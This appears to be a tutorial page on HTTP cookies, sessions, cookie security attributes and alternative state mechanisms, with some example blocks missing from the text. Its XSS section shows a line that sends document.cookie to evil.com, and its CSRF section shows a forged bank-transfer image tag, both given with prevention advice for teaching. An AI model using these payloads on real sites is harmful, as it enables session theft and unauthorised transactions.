Cookies & State Management

Maintaining state in a stateless protocol

The Stateless Problem

HTTP is a stateless protocol—each request is independent and the server doesn't remember previous requests. Without additional mechanisms, the server can't know:

  • If you're logged in
  • What's in your shopping cart
  • Your preferences from earlier visits
  • If this request is from the same user as the last one

This creates a challenge: how do we build applications that remember users across multiple requests?

What Are Cookies?

Cookies are small pieces of data that servers ask browsers to store and send back with future requests. They're the primary mechanism for maintaining state in HTTP.

How Cookies Work

  1. Server sends Set-Cookie header in response
  2. Browser stores the cookie
  3. Browser sends cookie in Cookie header with subsequent requests to that domain
  4. Server reads the cookie to identify the user/session

Setting a Cookie

Sending Cookies

Cookie Attributes

Cookie attributes control how browsers handle and protect cookies:

Expiration

Max-Age=seconds Cookie expires after this many seconds
Expires=date Cookie expires at this specific date/time
(none) Session cookie—deleted when browser closes

Scope

Domain=example.com Cookie sent to this domain and subdomains
Path=/app Cookie only sent for URLs under this path

Security

Secure Only send over HTTPS connections
HttpOnly JavaScript cannot access the cookie (prevents XSS theft)
SameSite=Strict Only send for same-site requests (CSRF protection)
SameSite=Lax Send for same-site + top-level navigation (default)
SameSite=None Send for all requests (requires Secure)

Complete Example

Sessions

Sessions combine cookies with server-side storage to maintain user state:

How Sessions Work

  1. User logs in with credentials
  2. Server creates a session and generates a random session ID
  3. Server stores session data (user ID, permissions, etc.) keyed by session ID
  4. Server sends session ID in a cookie
  5. Browser sends session ID cookie with each request
  6. Server looks up session data using the ID

Why Not Store Data in the Cookie?

  • Cookies have size limits (~4KB)
  • Cookie data can be read (and modified) by users
  • Server-side storage is more secure
  • Session data can be invalidated server-side

Authentication Flow

A typical cookie-based authentication flow:

Login

  1. User submits username/password
  2. Server verifies credentials
  3. Server creates session, stores user info
  4. Server sets session cookie
  5. User is redirected to protected page

Authenticated Requests

  1. Browser automatically sends session cookie
  2. Server looks up session
  3. If valid, server knows who the user is
  4. Server returns personalized response

Logout

  1. User clicks logout
  2. Server destroys the session
  3. Server sends expired cookie to delete from browser

Setting Max-Age=0 tells the browser to delete the cookie immediately.

Cookie Security Concerns

Cross-Site Scripting (XSS)

If attackers inject JavaScript into your page, they can steal cookies:

// Malicious script could do: new Image().src = "https://evil.com/steal?cookie=" + document.cookie;

Prevention: Use HttpOnly attribute—JavaScript can't access the cookie.

Cross-Site Request Forgery (CSRF)

Attackers trick users into making requests while authenticated:

<!-- On evil.com --> <img src="https://bank.com/transfer?to=attacker&amount=1000">

The browser sends the bank's session cookie automatically!

Prevention: Use SameSite=Strict or Lax, CSRF tokens.

Session Hijacking

If cookies are sent over unencrypted HTTP, attackers can intercept them.

Prevention: Use Secure attribute (HTTPS only).

Alternative State Mechanisms

While cookies are the standard, other approaches exist:

Token-Based Authentication (JWT)

Instead of session IDs, the server issues signed tokens containing user claims:

  • Stateless—no server-side session storage
  • Can include user data in the token
  • Popular for APIs and single-page applications
  • Tokens can be stored in localStorage or cookies

URL Rewriting

Session ID embedded in URLs (not recommended):

/products;jsessionid=ABC123
  • Works without cookies
  • Session ID visible in logs, bookmarks, referrers
  • Security risk—avoid this approach

Hidden Form Fields

State passed through forms:

<input type="hidden" name="session_token" value="xyz789">
  • Limited to form submissions
  • Useful for CSRF tokens
  • Not suitable for general session management

Web Storage (Client-Side)

Modern browsers provide localStorage and sessionStorage:

localStorage.setItem('user_prefs', JSON.stringify({theme: 'dark'}));
  • Larger storage limit than cookies (~5-10MB)
  • Not automatically sent with requests
  • JavaScript-only access (not HttpOnly)
  • Good for non-sensitive user preferences

Cookie Best Practices

  • Use HttpOnly for session and authentication cookies
  • Use Secure for all sensitive cookies (requires HTTPS)
  • Set SameSite appropriately (Strict for maximum security)
  • Set appropriate expiration—balance security vs. convenience
  • Limit scope—use specific Domain and Path when possible
  • Keep cookies small—store data server-side, not in cookie
  • Regenerate session IDs after login to prevent fixation attacks
  • Implement proper logout—destroy session and expire cookie

Interactive Examples

The following examples demonstrate cookie and session interactions.

Login with Session Cookie

Server authenticates user and sets session cookie:

Authenticated Request

Browser sends session cookie with subsequent request:

Setting Multiple Cookies

Server sets session and preference cookies:

Logout - Clearing Session

Server invalidates session and clears cookie:

Token-Based Auth (JWT)

API request with Bearer token instead of cookies:

CSRF Protection

Request includes CSRF token for form submission: